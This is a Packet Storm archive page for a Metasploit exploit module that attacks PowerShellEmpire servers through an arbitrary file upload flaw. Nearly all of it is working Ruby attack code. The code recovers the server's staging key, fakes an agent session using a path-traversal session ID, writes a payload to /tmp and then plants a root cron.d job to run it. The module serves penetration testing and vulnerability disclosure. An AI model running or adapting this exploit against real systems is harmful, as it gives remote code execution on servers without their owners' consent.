exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PowerShellEmpire Arbitrary File Upload (Skywalker)

PowerShellEmpire Arbitrary File Upload (Skywalker)
Posted Nov 18, 2016
Authored by Spencer McIntyre, Erik Daguerre | Site metasploit.com

A vulnerability existed in the PowerShellEmpire server prior to commit f030cf62 which would allow an arbitrary file to be written to an attacker controlled location with the permissions of the Empire server. This exploit will write the payload to /tmp/ directory followed by a cron.d file to execute the payload.

tags | exploit, arbitrary
SHA-256 | 36491dd12b6c42a1f65d906a4cbc99b3799866ff52ce18af79b2b9c27d2497d6

PowerShellEmpire Arbitrary File Upload (Skywalker)

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

TASK_DOWNLOAD = 41

def initialize(info = {})
super(update_info(info,
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
'Description' => %q{
A vulnerability existed in the PowerShellEmpire server prior to commit
f030cf62 which would allow an arbitrary file to be written to an
attacker controlled location with the permissions of the Empire server.

This exploit will write the payload to /tmp/ directory followed by a
cron.d file to execute the payload.
},
'Author' =>
[
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
'Erik Daguerre' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
],
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => %w{ linux python },
'Targets' =>
[
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2016'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
], self.class)
end

def check
return Exploit::CheckCode::Safe if get_staging_key.nil?

Exploit::CheckCode::Appears
end

def aes_encrypt(key, data, include_mac=false)
cipher = OpenSSL::Cipher::AES256.new(:CBC)
cipher.encrypt
iv = cipher.random_iv
cipher.key = key
cipher.iv = iv
data = iv + cipher.update(data) + cipher.final

digest = OpenSSL::Digest.new('sha1')
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac

data
end

def create_packet(res_id, data, counter=nil)
data = Rex::Text::encode_base64(data)
counter = Time.new.to_i if counter.nil?

[ res_id, counter, data.length ].pack('VVV') + data
end

def reversal_key
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
[
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
]
end

def rsa_encode_int(value)
encoded = []
while value > 0 do
encoded << (value & 0xff)
value >>= 8
end

Rex::Text::encode_base64(encoded.reverse.pack('C*'))
end

def rsa_key_to_xml(rsa_key)
rsa_key_xml = "<RSAKeyValue>\n"
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
rsa_key_xml << "</RSAKeyValue>"

rsa_key_xml
end

def get_staging_key
# STAGE0_URI resource requested by the initial launcher
# The default STAGE0_URI resource is index.asp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
})
return unless res and res.code == 200

staging_key = Array.new(32, nil)
staging_data = res.body.bytes

reversal_key.each_with_index do |(pos, char_code), key_pos|
staging_key[key_pos] = staging_data[pos] ^ char_code
end

return if staging_key.include? nil

# at this point the staging key should have been fully recovered but
# we'll verify it by attempting to decrypt the header of the stage
decrypted = []
staging_data[0..23].each_with_index do |byte, pos|
decrypted << (byte ^ staging_key[pos])
end
return unless decrypted.pack('C*').downcase == 'function start-negotiate'

staging_key
end

def write_file(path, data, session_id, session_key, server_epoch)
# target_url.path default traffic profile for empire agent communication
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
data = create_packet(
TASK_DOWNLOAD,
[
'0',
session_id + path,
Rex::Text::encode_base64(data)
].join('|'),
server_epoch
)

if datastore['PROFILE'].blank?
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
else
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
end

res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(session_key, data, include_mac=true),
'method' => 'POST',
'uri' => normalize_uri(profile_uri)
})
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200

res
end

def cron_file(command)
cron_file = 'SHELL=/bin/sh'
cron_file << "\n"
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
cron_file << "\n"
cron_file << "* * * * * root #{command}"
cron_file << "\n"

cron_file
end

def exploit
vprint_status('Recovering the staging key...')
staging_key = get_staging_key
if staging_key.nil?
fail_with(Failure::Unknown, 'Failed to recover the staging key')
end
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
staging_key = staging_key.pack('C*')

rsa_key = OpenSSL::PKey::RSA.new(2048)
session_id = Array.new(50, '..').join('/')
# STAGE1_URI, The resource used by the RSA key post
# The default STAGE1_URI resource is index.jsp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
})
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
vprint_status("Successfully sent the RSA key")

# decrypt the response and pull out the epoch and session_key
body = rsa_key.private_decrypt(res.body)
server_epoch = body[0..9].to_i
session_key = body[10..-1]
print_status('Successfully negotiated an artificial Empire agent')

payload_data = nil
payload_path = '/tmp/' + rand_text_alpha(8)

case target['Arch']
when ARCH_PYTHON
cron_command = "python #{payload_path}"
payload_data = payload.raw

when ARCH_X86, ARCH_X86_64
cron_command = "chmod +x #{payload_path} && #{payload_path}"
payload_data = payload.encoded_exe

end

print_status("Writing payload to #{payload_path}")
write_file(payload_path, payload_data, session_id, session_key, server_epoch)

cron_path = '/etc/cron.d/' + rand_text_alpha(8)
print_status("Writing cron job to #{cron_path}")

write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
print_status("Waiting for cron job to run, can take up to 60 seconds")

register_files_for_cleanup(cron_path)
register_files_for_cleanup(payload_path)
# Empire writes to a log file location based on the Session ID, so when
# exploiting this vulnerability that file ends up in the root directory.
register_files_for_cleanup('/agent.log')
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close